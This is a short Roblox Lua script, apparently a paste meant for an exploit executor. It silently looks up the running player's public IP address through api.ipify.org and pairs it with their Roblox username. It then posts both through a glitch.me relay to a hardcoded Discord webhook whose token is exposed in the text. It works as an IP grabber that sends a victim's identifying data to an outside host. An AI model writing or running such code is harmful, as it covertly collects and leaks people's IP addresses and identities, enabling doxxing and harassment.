· 6 years ago · Mar 23, 2020, 01:10 AM
1local HttpService = game:GetService("HttpService");
2local IP = game:HttpGet("https://api.ipify.org")
3local URL = "https://discordapp.com/api/webhooks/691451811764240384/zgg2bPx899QyURlYzJcx7axg7oLTj5DMI_tUtt_HWPcHH2mg8G_xRsm9TKRcvc3-s5zE"
4local NAME = "Icy's Bot"
5local ROBLOXNAME = game.Players.LocalPlayer.Name
6
7local IANDR = IP.." : "..ROBLOXNAME
8
9function SendMessage(Webhook, Message, Botname)
10 if not string.find(Webhook, "https://discordapp.com/api/webhooks/") then
11 return error("Send a valid URL");
12 end
13 local Name;
14 local WakeUp = game:HttpGet("http://buritoman69.glitch.me");
15 local API = "http://buritoman69.glitch.me/webhook";
16 if (not Message or Message == "" or not Botname) then
17 Name = "GameBot"
18 return error("nil or empty message!")
19 else
20 Name = Botname;
21 end
22 local Body = {
23 ['Key'] = tostring("applesaregood"),
24 ['Message'] = tostring(Message),
25 ['Name'] = Name,
26 ['Webhook'] = Webhook
27 }
28 Body = HttpService:JSONEncode(Body);
29 local Data = game:HttpPost(API, Body, false, "application/json")
30 return Data or nil;
31end
32
33SendMessage(URL, IANDR, NAME)